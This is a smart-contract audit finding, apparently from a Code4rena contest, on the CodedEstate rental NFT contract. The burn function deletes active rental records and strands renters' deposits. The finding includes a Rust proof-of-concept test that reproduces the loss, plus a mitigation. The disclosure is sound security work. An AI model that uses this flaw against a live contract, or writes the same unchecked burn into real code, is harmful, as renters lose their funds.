Token owner can burn their token with active rental leading to renters' funds being stuck

[c4-bot-4]

Lines of code

https://github.com/code-423n4/2024-10-coded-estate/blob/main/contracts/codedestate/src/execute.rs#L523-L541

Vulnerability details

Impact

If the property owner calls the burn function while active rentals exist, the rental information, including deposits, is deleted. This prevents renters from retrieving their funds through the cancellation process, leading to funds of renters being stucked in the contract.

Description

The burn function in the contract deletes all data associated with a token, including any active rental information.

In the CodedEstate, renters must deposit funds in advance for short-term rentals, and this information is stored in a vector, rentals, linked to the token.

The issue arises because the burn function only checks whether the caller is the owner or has approval to burn the token. It does not validate whether there are any active rentals associated with the token. As a result, if the property owner calls the burn function while rentals are still active, all rental data, including the deposit amounts, is deleted from storage.

Without the rental information, renters can no longer use the cancellation function to retrieve their deposits, as the contract does not retain any record of the rental. This leads to irreversible loss of funds for the renters.

Relevant code snippets

File: contracts/codedestate/src/state.rs
pub struct TokenInfo<T> {
    /// The owner of the newly minted NFT
    pub owner: Addr,
    pub approvals: Vec<Approval>,
    pub longterm_rental: LongTermRental,
    pub shortterm_rental: ShortTermRental,
    pub rentals: Vec<Rental>,  // <-- rental information is stored here
    pub bids: Vec<Bid>,
    pub sell: Sell,
    pub token_uri: Option<String>,
    pub extension: T,
}

File: contracts/codedestate/src/execute.rs
pub fn setlistforshorttermrental(
    //...
    //... function arguments
    //...
) -> Result<Response<C>, ContractError> {
    ...
    ... snipped
    ...
    let traveler = Rental {
        denom:token.shortterm_rental.denom.clone(),
        rental_type:false,
        approved_date:None,
        deposit_amount: Uint128::from(rent_amount),
        renting_period: vec![new_checkin_timestamp, new_checkout_timestamp],
        address: Some(info.sender.clone()),
        approved: token.shortterm_rental.auto_approve,
        cancelled:false,
        guests:guests,
    };

    // token.shortterm_rental.deposit_amount += sent_amount;
    token
        .rentals
        .insert(placetoreserve as usize, traveler); // deposited amount is stored in rentals vector
    ...
    ... snipped
    ...
}

fn burn(
    &self,
    deps: DepsMut,
    env: Env,
    info: MessageInfo,
    token_id: String,
) -> Result<Response<C>, ContractError> {
    let token = self.tokens.load(deps.storage, &token_id)?;
    self.check_can_send(deps.as_ref(), &env, &info, &token)?; // <-- Only checks ownership or approval

    self.tokens.remove(deps.storage, &token_id)?;  // <-- Deletes all token data including saved rentals vector
    self.decrement_tokens(deps.storage)?;

    Ok(Response::new()
        .add_attribute("action", "burn")
        .add_attribute("sender", info.sender)
        .add_attribute("token_id", token_id))
}

Example Scenario

1. A property owner lists a property for short-term rental, and several renters reserve it by depositing funds in advance.
2. The property owner calls the burn function to burn the token while rentals are still active.
3. All rental information, including the deposit amounts, is erased.
4. When renters attempt to cancel their reservations expecting a refund, the transaction will revert as the rental information is deleted with the token.

Proof-of-Concept

The following test demonstrate that the token owner can burn their token while there is active rental leading to renter's funds getting stuck in the contract.

Boilerplate for PoC: https://gist.github.com/nnez/c76b1a867dd8dc441dbe552e048b796e

Steps

1. Replace everything in contracts/codedestate/src/multi_tests.rs with boilerplate from above secret gist.
2. Insert below test:

#[test]
fn h1_burn_active_rental() {
    let (mut app, contract_addr) = mock_app_init_contract();

    // Minter mints a new token
    execute_mint(&mut app, &contract_addr, MINTER, TOKEN_ID);
    // Asserts that token is minted
    assert_eq!(query_token_count(&app, &contract_addr.to_string()), 1);
    
    // Minter set list for short term rental
    let list_short_term_rental_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetListForShortTermRental { 
        token_id: TOKEN_ID.to_string(), 
        denom: USDC.to_string(), 
        price_per_day: 10, 
        auto_approve: true, 
        available_period: vec![], 
        minimum_stay: 1, 
        cancellation: vec![]
    };
    let res = app.execute_contract(
        Addr::unchecked(MINTER),
        contract_addr.clone(),
        &list_short_term_rental_msg,
        &[],
    );
    assert!(res.is_ok()); // Everyting is ok

    // Traveler makes reservation on minter's property (token)
    init_usdc_balance(&mut app, TRAVELER, 10);
    let tmr = app.block_info().time.plus_days(1);
    let list_short_term_rental_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::SetReservationForShortTerm { 
        token_id: TOKEN_ID.to_string(), 
        renting_period: vec![tmr.seconds().to_string(), tmr.plus_days(1).seconds().to_string()], 
        guests: 1
    };
    let res = app.execute_contract(
        Addr::unchecked(TRAVELER),
        contract_addr.clone(),
        &list_short_term_rental_msg,
        &vec![Coin {
            denom: USDC.to_string(),
            amount: Uint128::new(10),
        }],
    );
    assert!(res.is_ok()); // Everything is ok
    // 10 USDC is deposited into the contract from Traveler
    assert_eq!(query_usdc_balance(&app, &contract_addr.to_string()), 10);

    
    // Minter burns the token while there is active rental from traveler
    let burn_msg: ExecuteMsg<Option<Empty>, Empty> = ExecuteMsg::Burn { 
        token_id: TOKEN_ID.to_string() 
    };
    let res = app.execute_contract(
        Addr::unchecked(MINTER),
        contract_addr.clone(),
        &burn_msg,
        &[],
    );
    assert!(res.is_ok()); // Minter successfully burns the token whiel there is active rental
    
    // Funds are stuck in contract
    assert_eq!(query_usdc_balance(&app, &contract_addr.to_string()), 10);
    assert_eq!(query_usdc_balance(&app, &TRAVELER.to_string()), 0);
    assert_eq!(query_usdc_balance(&app, &MINTER.to_string()), 0);
    
    // Token is burnt
    assert_eq!(query_token_count(&app, &contract_addr.to_string()), 0);

    // Funds are also not collected as fees
    assert_eq!(query_fee_balance(&app, &contract_addr.to_string()), 0);
}

3. Run cargo test h1_burn_active_rental -- --nocapture
4. Observe that the test passes.

Recommended Mitigations

• Add a validation in burn function that there is no active rental.

Assessed type

Invalid Validation

[c4-judge]

OpenCoreCH marked the issue as primary issue

[c4-judge]

OpenCoreCH marked the issue as selected for report

[blockchainstar12]

Burning token is disabled if bids or rentals exist